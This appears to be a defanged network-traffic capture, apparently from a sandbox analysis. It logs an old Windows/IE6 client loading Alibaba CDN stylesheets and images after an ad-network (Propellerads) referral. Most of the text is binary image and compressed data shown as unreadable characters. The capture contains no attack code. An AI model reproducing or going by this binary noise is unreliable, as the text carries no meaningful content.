.......K.n.;v..b ...n.rc/...0..V.u.^<...Y3........dsV.M;.OM..hn.l..
{...{.?wN...W...\.M.....Y~.;).......7.vj[.vg...$....`..`<...w{...x.
.9Z..6....F....:uRIv.(...4.di.(/.J'tdZ..`.y.vP...:?.<D.....8V7...e#
O.....o...........#.._h.F....k{k.-{xB.F........zQQ.Q..YF^[email protected]
.....).Xf/.DsI.....K.....g.............u-F..f...7N.L...T...`J.!mQ..f4 
rv`.........c.._.TD.v..!.....k..zj#0....]..b.s.j...7.3....g.[..J.\..W*
.I.p].uu<.....$x....!..(k.......gt#.c..ON(f.x.8N[O...O .....e"...n.
.I.......EY.....".0........-.{.Lv..[w.7......{.]F.........,.3.;.vau..n
.rEd...................y...&9e..4"z..L/.H....P.*#"..3T...Y7.D..ka.$..W
Q.Y....`...o.E{~.vl{.D...m.6..?.9clB....ER...`K>..NR......<=..&g
t;. ...=......]...-....tcj..!kb4........DR...i..v......F.-..=.R.......
..z}.P..c....Z....z...X0C..D.H$.>H.P}..../.................;..yxP.W
K.l..A...f...........e..T ..RL.........C.. ..._~.....G?.{.=.Y........O
......>...<../A...X.....B..?..g...........E.."`.....2.^~.g......
.......s..-C.s.....~...........?."....../.......X...d.\...~...=.....*.
*........X........o.%%.D|u..4....}. .;eD[y....\.........._|......._...
.|..w.....#.G...g...@N....?..O.../...?<..?`)..<....^7........?T.
.C.......7w....{u{X....m.....1..mm....r.i.^@..........e.=q=.h..C%..q.v
..F.y..s.. G........zn.:...0.....T.!-....Q(..q.*...h....&V.....nE9....
~.;u..1.~.M!.;.....a.y.u.e.......y~...l/.....\....#-....P...^?...]
<<< skipped >>>

GET /css/6v/run/common/webatm-new/webatm.css?t=0_102dc101ea HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Last-Modified: Thu, 30 Apr 2015 11:11:19 GMT

Content-Encoding: gzip

Content-Length: 6999

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=27429338

Expires: Sun, 01 May 2016 15:33:11 GMT

Date: Fri, 19 Jun 2015 04:17:33 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
...........=....r...`13.V.,.... ..a_.......Eu.#K.$Ow.1_p......7...W.."
%...L6....$...b.X7..........*.5.P.....<m...0.~w.......>.: ...}..
..rK..5......e..C..*.-.[5..*..w.(......w5.(.......K.3...e.U.ss..m..x..
..,%.p.>.....S....=./i.....-.....GM.o|.}Q.>i=.P./{t.tWW.2..w{...
...h.~gSG........#.....y..O.^.lv......p....5*........7.Ze^....:.uP.4?7
.%.Lva...X.._."'...y....A .T.W.Q}...p6.(......,L....=.G.....-:... Y..{
.^.Ia_....f... ..c...)......3.:.d....}.[..)~......;.fP.....y....).H..N
(M......!,.>.....M8.....,..A.-.......7)..Nw.Y.A..y......cu./......n
~F.....m....!<.4.......O......O.._.. ..7L.$h....P...l.0.fE.-l.y?&9L
GC./..!....t.(0..d ........R....u.....b..=..-..2.......@R|.j.f.S."...6
.1m...CC......(.S.7.2N*.......\......(...!...>h#t.#...9...s.!......
...."K7uc.?!....q-q.....\7.P.3t.Z{y2.|B5......^.'RF:.....o5L.0!.WX@/..
N.......I.o./...A.N.08....{.h4.. '..)...q(........tT." .e.w...K.4.E...
..'....O.N&.6>. .&.m.['.......A.`|..m.i9.......?Y...s.:&....{7P...}
:.-A.0.......?.}>........tj..`n....."..k.....v(...GC.eM.P.^.Y.r..8x
@.I...u..C...>4.........D.%~. :o..hnO.....WI........Q.j|.....6.....
..4.K..M.].i.d.M.T.d..R)..H......?-.^.a..c.sY.\8...3.....!.:<..\...
...._=....(*"..M....=@u]=...}OS.......w.A[......u......{!..X.^.E......
.<.....pP..o.,S...As..tzzd...jf..u.x/.........l&......v...i..'...8.
b">.0..H>96A..DPn.;..].n.........Tq...x.c~.......Q[...~..?....&l
t;LV..|.,...f..<....W.zd?..G...........*....[3.C...n'P..1U.Y..m]...
..e...../.~..E..u.q...Y....q.....[.ks...".[..t..U....p h..&.[./.s.
<<< skipped >>>

GET /simg/sprites/env/webatm-new/contacts-icons.png?t=762e3bac_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 5943

Last-Modified: Thu, 30 Apr 2015 11:11:54 GMT

ETag: 762e3bac_0

Timing-Allow-Origin: *

Cache-Control: max-age=27531858

Expires: Mon, 02 May 2016 20:01:52 GMT

Date: Fri, 19 Jun 2015 04:17:34 GMT

Connection: keep-alive

Timing-Allow-Origin: *
.PNG........IHDR..............t.`....tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:A31709C8CAA2E4118E68A101057BAC00" xmpMM:DocumentID="xmp.did:0C00
D1F0BC0B11E4A9C39E44F3EF610C" xmpMM:InstanceID="xmp.iid:0C00D1EFBC0B11
E4A9C39E44F3EF610C" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F77F117407206811822A
F53B6DA261FD" stRef:documentID="xmp.did:A31709C8CAA2E4118E68A101057BAC
00"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>. Q....gIDATx......u].......A.....A!P8..DKA..
o..WD.E$..[...,x!0...`H..[..%.=..@..."B........>?.....s......u...s.
.=......y.c..pu........d...]..f../..a.||...n...b. .....'.^O.<?sx...
.....!.e...P.ke.~ ....=...9:sG......e>.H~n).4...Gb......G.g{.a ... 
.....~7?....2;e^..6.8.$.t,i.q...y.....I.G.o{...#3..l.9 .|...e......$..
X.V.Xm{...|..[m{.q........3.d.5.8.9.M..7sU..o...u-k Vm...Q..V.....h!..
ev.."...>I9...=_..9.....X.=.....(.V....@...'...=.>.[..@.".....c.
.........=......2W..d......2.Z.Y{p{$...G...h!..d....do.Ufy.1.G..y.
<<< skipped >>>

GET /tps/i2/TB1QtIrFVXXXXbHXFXXIVqAQXXX-1400-160.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 43988

Last-Modified: Fri, 15 Aug 2014 07:58:54 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 81.52.170.69

Cache-Control: max-age=295944044

Expires: Sun, 03 Nov 2024 10:58:16 GMT

Date: Fri, 19 Jun 2015 04:17:32 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR...x.........9<......tEXtSoftware.Adobe ImageReadyq
.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0M
pCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmp
tk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        ">
; <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"&
gt; <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/
xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRe
f#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID=
"xmp.did:6AF5F36560E1E3119071C82A8D479882" xmpMM:DocumentID="xmp.did:F
3AD4A80245111E49140D07A52E4B5BE" xmpMM:InstanceID="xmp.iid:F3AD4A7F245
111E49140D07A52E4B5BE" xmp:CreatorTool="Adobe Photoshop CS5 Windows"&g
t; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:948E8F5A5024E411BC8
39BB25A649170" stRef:documentID="xmp.did:6AF5F36560E1E3119071C82A8D479
882"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
 <?xpacket end="r"?>..-.....IDATx....|..}.{.`....N..DJ..X.%;.#/.
.'...I..nZ....n.......7....}7q....ub.y.s.Z..(M,.q.E..k!%[email protected].....
@.X......X....Y..........................4............ ...............
. 4............b................B............ ................Jh......
.[.m-...L..a..V#u9R.b..<b.(<%......?/z.">.m....d..o4B .......
B.7a....^."...Vt..f..3....V....2.B.......-s.g.........,..8.#q.{.uA....
[email protected].. vB.#..?....(@[email protected]|......). ~f.uR..
4..@#...............6..^.S...U.................[......lXp..WWe h..
<<< skipped >>>

GET /tps/i3/TB1_jCQHpXXXXXDXXXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 10992

Last-Modified: Thu, 19 Mar 2015 09:19:49 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 92.123.78.44

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=307512394

Expires: Mon, 17 Mar 2025 08:24:06 GMT

Date: Fri, 19 Jun 2015 04:17:32 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....H.H.....C.....................................!........
'.."#%%%..),($ !$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$........,.."........................................
.D..........................!.1A."Qaq..2B..#R....3b.$r..C.4D...ST.....
.............................)........................!1A."2Q..a..#3C.
[email protected]@joi.x..&. c.K...#|.M.....p.C..._..........
)...Z..&.7..r..l..y.....}.bg.~].{.7.F....)=.s<.....z{.o.Ql.....U.g.
....N........_..$...U.........<..t.......V.....;.x....V.4..uL......
i.k.B7....G..H{C.#.^.. b-....^.qSK...`*[email protected]@...DD....D@
...DD.......\.....i.9.=u.s\.......T..=>.G.....q.9=.............;]o.
..d..../..OO. ...0j..eD..e...j..$S5......=..Ga...G.T.&....D._.........
...\.e..T.O.o..:G..../-.... .&.Oy..........X..|....js(.....o......X...
..'.[...ch.,u...V.^|.:[email protected]@[email protected]?.8....eF6..z.
[email protected]....'MAN..W.O....Z'[email protected].... s?..4...&
lt;x......N.Ov.....o...?. g..!.p.....1l>z......Qs@....].G.G...1....
..D..j.];..Vc\.s`....EU....[).f.~.Y...Un.WA.m34......T.........lo..x..
.J..(.}%[...K.J[.d?..X..J...'.J...;.....;.... .....c.UFK.......r..T.].
.b...K...j..}|..8j..]8Sq..T.;...U....?/....*..5d.j`...F..M.V...H....5&
\..qW..9.....).x..6X.6..j.;.7.oU.]..nd>?.<.P.Y]6=....n.M=t?.?..]
s..n..2.&=.Jd..m.;9...GB..p.X.X.n.m...UV.M..a..2..].......".......|...
.h.r.....Q.I#8DEA...." ...""...." ...""....._.......*z.....x....D.9.h.
..6&...kF.....x.......v.,2....6=..%u./Ri.$sM...}J...h...f...8y{...
<<< skipped >>>

GET /tps/i3/TB1ciU8HXXXXXahaXXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 13988

Last-Modified: Thu, 19 Mar 2015 09:19:49 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 80.239.222.164

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=307512465

Expires: Mon, 17 Mar 2025 08:25:17 GMT

Date: Fri, 19 Jun 2015 04:17:32 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....H.H.....C.....................................!........
'.."#%%%..),($ !$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$........,.."........................................
.G........................!..1A."Qa2q..#B...3R.....$br.4C....Sc]s...
.................................1........................!1A..Q"aq.2.
....#B..R..............?...*.J..ZZ.( .^..Z..KGB...>#.....s..0..B...
...tKb....F...'Q.H.........?/R 5vA..a.....F...l.t6...b......*s.OA..(".
.~.....Y..rs.a..z.U.!<....2=....x.C....b}..Q.f......jH.^...@.......
.=3...(;..?..h..B...A.It...=~~.._!.........OJ...w.5..|.@._.....oRP....
&....G.F.|[email protected]...{..}G.....sx..3.c..CR!H
..^n... ....p...M.JQ.u.1.F.....O.Y....n.../jl.....`..?Q..R..0...KD-U..
....RyE:b4.LRd{...r..PjZ.....AIjU&.K .....l.I.).4..P...J!..........7..
..U.&....P*Y..1A<...:R.^...B...om!..H.Lc..G.t.....l._5".]!..R..;.U.
).`.?......syE8......i..*[email protected]....~.....A..?.sN...f.=3.......\.
[email protected]:...B..UNd
.9..LR.^].C..Q.S...N...$..S$gq.). .t.Mf.O.J..D.../..v.. m.v....Z..X|X.
.............%....$... .T..}Y.|.xr..{z.j.....6.N...=N;{..W>X...c.[.
'.-2........=5.~<.EmR.0..eu.......xg...T.._)...=...jr.G...".DF.=E#.
.N.(....~J......*vd.8..S.........j*q..B..)......M'...X(h.*....e.&.Zn..
.4.~.._m..#...q.1.(...a&..1.,.om.....,>....k....p2.p....5".^Y.fw...
X..Q....,[email protected].. ....I(Wq.,.R.i..u&..A...D...E.oJyW...n...'...M..0h.
.s.G..Jt/..f....u..4.1eNd..d.R....<$.A..cz_.v.l......)..={n.z17
<<< skipped >>>

GET /tps/i3/TB19_fqGXXXXXXrXFXXSutbFXXX.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 14848

Last-Modified: Mon, 15 Sep 2014 11:15:52 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 92.123.78.48

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=294009826

Expires: Sat, 12 Oct 2024 01:41:18 GMT

Date: Fri, 19 Jun 2015 04:17:32 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....,.,.....C................................... $.' ",#..(
7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222
222222222222222222222........,........................................
...>.........................!1A.."Qa2q.B..#R...3....b..$45CrSs....
...........................$......................!1.A.Q."2a.q........
....?.......8.... .@#(...8......e.fh..>&..).{$....;5.|QA.....3q..[8
..a...[<..#~.2rr95.?.uc.Y...G.].R9..z_........(.(...T..PI.8.8i.g..!
.l.E.fF.>j}*).....DN......=02...9....o.4....c2.2.2.2.2.2.2.2......b
............>............T/F.....g31....vA..C. 3,[email protected].
!....A).3T.......~.@.[..?..x.r...x.....Y..OG,..H...F....>.z3a.M..)\
F..M...........e... ....$4..Av.A..V5.V..d.Nq.hI..1...|...w..].I....T..
&S$R....b?z.....k?4.........,..O....fy.H......e.e.%.LR.h...m$.m.T|.L..
.A%..o..k..G...'..H.5*VSD...V#R...0d..i.....2(.*[email protected]]3$&...
.hP.T......yG...lg..,.........l......}=....=.?.S.F.p3AL.iT.<.T64.nw
.$..T;...ApX.$.4....r....i.0.w.......I......&B......0..{..%....n...K..
^?z.$.Xg...U..f..E.#......O.l..}..!6Nz..Ah.-.A........)..n........8...
.Mx.zb_..9......&B..-.c...&5..i6.mf.......|Rb.Q.L....\....u.u.H...D.2.
.Z.g^j..i..:[email protected]@.~.....4.yG.........\y?.;1...t.
.~~ ..8.t.O..t;l..%W...y1.*[)l....g..d.u..../AF.EL.b...ng%.*_F.l......
.6&..). t..V.$....{.}..f..%............w.....7.....y.O...(Q..eo .)z...
.y...dVNP......-.VX.[ .({..?Pj.k...\he..c...>.....[G......%.Q.T.|. 
E.2\Z:.#.K.{..i....`...'h....".{....x...Q.MC...B.......$....8.`..?
<<< skipped >>>

GET /tps/i4/TB1WJb8HpXXXXcCXFXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 24247

Last-Modified: Mon, 30 Mar 2015 10:01:51 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 2.16.219.117

Cache-Control: max-age=308442109

Expires: Fri, 28 Mar 2025 02:39:22 GMT

Date: Fri, 19 Jun 2015 04:17:33 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....,.,.....C..............................................
......................C...............................................
..........................,...........................................
..I............................!.1A.."Qa..2Bq.#R...$br..C.3Sc...4....%
&.....................................5.........................!1..AQ
aq.."B...2R....r.#..............?.....h....h....h....h....h....h....h.
...h....h....h....h....h....h....h....h....h....h....h....h....h....h.
...h....h....h....h....h....h....h....h....h....h..#z:...t...}].......
..C x.F.O'.. ..?....c......'...C}..m7..._.rT...:.:..S.....{S -D..B.CEX
.~.0...V.......MCS6......\..P.x&1........ick...b.g\4.c..I....,.QiDg...
.1.M.....L.)[email protected]^I.HS.6..D..,.YmO...q.2.B......"..A.{[email protected][email protected].
[email protected][email protected][email protected][email protected][email protected]=JY]/X.\W.v....CA.rzZ..........g...Q.x}....
."...%.Hx(59KD......P.C9.. R...5....V.....f.R.X......I..9...TA.Y....%.
..&L....%*2P.m(.......Rs.t.Sv.Z...g(v.9.) ...N.8.B..,...)=..8.d5 n=b..
&.j.....b-...0;.. .R{.A.H.X.Mr.lLT5&.......W..6......R.....!C..<.A.
MB..!."=D......34...P. ...l.,[email protected][email protected]....!.%
.......qJT..yz.6..G..n..T:.....W..&J.?u.t .IZ..QW.....0.h/./"KIq.%m..%
I9... [email protected][email protected][email protected][email protected][email protected][email protected]=.^..;..c-..5j...N...x'.{.
x.A.....,.O.......]....M....8...4......#[email protected]<.U...
4i.'....~d..<.d.....m...q .u.j..j.$.......y..A..........{t^y.0...@.
`.@4..}.w83...$.....".[..?.O`.y.9 .k.....!...~#<.?....z(u...R\..>
;n.%.?...h=.T"L......[..c..[_.N..t.s..UZ|...$9PPQ..m....<J.@.].
<<< skipped >>>

GET /tps/i3/TB1knn4HpXXXXc.XVXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 33305

Last-Modified: Mon, 30 Mar 2015 10:02:44 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 92.123.78.44

Cache-Control: max-age=308442104

Expires: Fri, 28 Mar 2025 02:39:16 GMT

Date: Fri, 19 Jun 2015 04:17:32 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....,.,.....C..............................................
......................C...............................................
..........................,...........................................
..M............................!.1A."Qa..2q..#BRr.....$b...........4E....................................H..........................!
1A.."Qa..2q.....B....#3Rr..$4Cb..S...Dcs...............?....>....|.
..8.."<q.4Dx..h..........#...DG.>....|...8.."<q.4Dx..h.......
...#...DG.>....|...8.."<q.4Dx..h..........#...DG.>....|...8..
"<q.4Dx..h..........#...DG.>....|...8.."<q.4Dx..h......."(.."
.."(..|E.....#q..DQ.DE..DQ.DE..DQ.DE..DQ.DE..DQ.DE..DQ.DE..DQ.DE..DQ.D
E..DQ...4E..."(.."....."9."9.".3..#.4Dx.....DUJ.Q.h..".."(..".."(.."..
"(..".."(..".."(..".."..]..c).O!..v.^....?u.'...rTB....%l...M.yN.AR..%
#... .....$.?.Q......W......,..H.m........Q..eP......a..j"......B.x)?.
R.......|1....M...w.N}....>......4..q......Ew.W...8......E.*.(..DQ.
DE..DQ.DE..DQ.DE..DQ.DE..DQ.DE..DQ..r.....PCm$.d..74D..9#.m.O.T.RHe.F.
...SDX...4Eq1J......k..2v...U.Z...Am...ZcKM.m?5ml..@mC...$.0.W.O...z.0
EM9.s...J..\q.P.dZ...Y........y...l..T..>eCj...U..$C...{.......\..`
y.%..XG.^(#.l\I._=...s%...=...{w.!..%#<....l~ ..n*......Q...R......
.R.m>.>..s[..!.*..E..^........8......O.B.. <..|D$W.....k.....
J.OV.5.q......^AW..?..*.......>.........`....J.o....w.._4. .[h...bA
......w7..MS..K8,v..n...A..H......!8.)P).yl.Ap{..N.R .R..I.k...$..(..I
R{mDL.u.D\s%r..D...{.....*..o.G....}(.......9Dt..|5.D....:..)@....
<<< skipped >>>

GET /tps/i4/TB16MsBGXXXXXc1XFXXw4O3GXXX-33-20.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 558

Last-Modified: Wed, 24 Sep 2014 12:27:08 GMT

Access-Control-Allow-Origin: *

Cache-Control: max-age=295998703

Expires: Mon, 04 Nov 2024 02:09:15 GMT

Date: Fri, 19 Jun 2015 04:17:32 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323

SERVED-FROM: 80.239.222.164
.PNG........IHDR...!..........STq....bKGD..............pHYs...H...H.F.
k>....vpAg...!............2IDATH...[O.0...........Q/.~....F3'..e...
.7.D.......?i...Ah.5..21.t.3|.....!e.f.%.O.C.a.!.....jU..u...>.Y:f.
?.G../Z4.u.J.$i5..A..8.[)...j..m3.#..|...y.@.~N..Fk.[...B<........u
).. h._...eyj..n...'-......0..l...#.n...,..v..G.$.......`.t$i..p..}z..
...b>_.^o.-..A..f.Q.v..4.Cj5.<b.M.Z.j........1....@@...~.....w.L
x.R......%tEXtdate:create.2014-09-24T20:27:08 08:00U......%tEXtdate:mo
dify.2014-09-24T20:27:08 08:00$N5s....tEXtSoftware.Adobe ImageReadyq.e
<....IEND.B`.HTTP/1.1 200 OK..Server: Tengine..Content-Type: image/
png..Content-Length: 558..Last-Modified: Wed, 24 Sep 2014 12:27:08 GMT
..Access-Control-Allow-Origin: *..Cache-Control: max-age=295998703..Ex
pires: Mon, 04 Nov 2024 02:09:15 GMT..Date: Fri, 19 Jun 2015 04:17:32 
GMT..Connection: keep-alive..Timing-Allow-Origin: *..Network_Info: UA_
KHARKIV_34323..SERVED-FROM: 80.239.222.164...PNG........IHDR...!......
....STq....bKGD..............pHYs...H...H.F.k>....vpAg...!.........
